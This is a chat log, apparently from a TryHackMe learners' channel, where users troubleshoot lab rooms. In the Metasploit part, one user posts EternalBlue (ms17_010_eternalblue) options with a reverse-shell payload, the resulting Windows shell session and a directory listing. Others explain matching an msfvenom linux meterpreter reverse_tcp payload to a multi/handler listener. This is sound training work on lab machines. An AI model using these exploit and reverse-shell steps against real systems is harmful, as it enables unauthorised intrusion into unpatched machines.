this is voodoo to me at the moment "apt-get may be considered as lower-level and "back-end", and support other APT-based tools. apt is designed for end-users (human) and its output may be changed between versions."

thre are various parts in the jr pen tester path that use both...what's the diffrence and why are both being refrenced

[idle bison]

If you don't understand one explanation, the best bet is to keep reading.
There's a much better way of framing what they're saying there, and I definitely know you can find it with that google search.

[upper cave]

morning everybody, is it generally like that the "acmeitsupport" website doesnt work? when i am trying to connect it ends in a timeout

[shadow echo]

More details pls. Which room, which task, are you on the attackbox or your own machine, etc

[upper cave]

on the attackbox,Authentication Bypass,task4

[shadow echo]

And you sure you are using the correct IP ?

[upper cave]

yes im using the link from the task

[shadow echo]

Could you send me that link so I can try to open it on my machine?

[upper cave]

sure

http://10.10.254.101/customers/reset

[shadow echo]

How long is the target machine already running ?

[upper cave]

15min

[shadow echo]

Then try to restart the target machine, doesn't work for me either

[upper cave]

ok

[shadow echo]

Ah wait

Now it seems to work

[upper cave]

nvm i am restarting currently

[white cypress]

Hi Guys. I have small problem with File Inclusion room. When I submit answerer to lab 1 my antivirus is throwing a warning every time, that my system is under attack and instead of usual THM message that the answer was correct/incorrect I get "Uh-oh! Undefined". The IP that is "trying to attack" me is 172.67.27.10 (Cloudflare server). Is my antivirus - Bitdefender - detecting web VM and throws the alarm?

[shadow echo]

Bitdefender is just overreacting. Make an exception or disable bitdefender while answering that question.

[frozen zinc]

Hi Guys, can someone advise why I would be getting FAIL when trying the task 5 metasploit exploitation task 5 please

Exploit completes but no session was created

[carmine dune]

I'm having the same problem @frozen zinc

[frozen zinc]

I have set RHOSTS IP and also LHOST and IP

[carmine dune]

can't find a named pipe

[frozen zinc]

RHOSTS 10.10.248.204 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

---

LHOST 10.10.248.204 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Windows 7 and Server 2008 R2 (x64) All Service Packs

all the right options are set within the exploit so don't see why it should not work

10.10.248.204:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.248.204:445 - Connecting to target for exploitation.
[+] 10.10.248.204:445 - Connection established for exploitation.

so does connect fine when it start's the exploit could the machine be bugged

[shadow echo]

Regarding your options, you are using the same IP for both, the RHOSTS and LHOST

[frozen zinc]

Ok looks like I have cracked it then!

set payload 1
set lhost IP ADDRESS
exploit

no failure's this time

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -l

Active sessions

Id Name Type Information Connection

---

1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 0.0.0.0:0 -> 10.10.248.204:4444 (10.10.248.204)

hope this helps someone out

C:\Windows\system32>cd c:\Users
cd c:\Users

c:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of c:\Users

12/12/2018 09:13 PM <DIR> .
12/12/2018 09:13 PM <DIR> ..
12/12/2018 09:13 PM <DIR> Jon
04/12/2011 02:28 AM <DIR> Public
0 File(s) 0 bytes
4 Dir(s) 39,888,924,672 bytes free

[white cypress]

Cheers will do that!

[carmine dune]

I can't get a meterpreter session in task 6 of Metasploit: Exploitation room

I get a segmentation fault when I try to run the reverse shell

[idle bison]

Don't use > to write the payload out. Use -o

[shadow echo]

Make sure you are using the exact same payload for your handler/listener as you used in msfvenom to create the executable.

[carmine dune]

thanks @shadow echo @idle bison

[next lance]

Gave +1 Rep to @shadow echo

[carmine dune]

thanks @idle bison

[shadow echo]

+rep @idle bison

[next lance]

Gave +1 Rep to @idle bison

[carmine dune]

Good news: it works. Bad news: I used a reverse shell instead of a meterpreter for my payload. 🤦‍♂️

I give up

[shadow echo]

Why, what's the issue ?

[carmine dune]

I don't know what payload to use @shadow echo

[shadow echo]

Well the same as you used with msfvenom. So what did you use to create the executable with msfvenom ?

[carmine dune]

linux/x86/meterpreter/reverse_tcp

wait it was linux/x86/meterpreter_reverse_tcp

[shadow echo]

Okay, so the same one you now use in msfconsole for your handler/listener

[carmine dune]

I use the mutli handler

it's supposed to work with everything

[shadow echo]

Yes, multi handler is basically a listener. So I mean the same.

No, why is it supposed to work with everything ?

[carmine dune]

that's what the tryhackme room says it does

"Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells."

[shadow echo]

Right, but that doesn't mean you can pick any payload in multi handler regardless of the payload you picked with msfvenom. Also the room says: "You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload."

[carmine dune]

I'm getting a connection. It just tells me "Command shell session 8 is not valid and will be closed"

[shadow echo]

So did you finally set the payload within the handler to the same payload that you used with msfvenom?

[carmine dune]

How do I do that?

[shadow echo]

set payload and the payload you want to use

So if you used linux/x86/meterpreter_reverse_tcp with msfvenom then set payload linux/x86/meterpreter_reverse_tcp

[carmine dune]

it worked @shadow echo thanks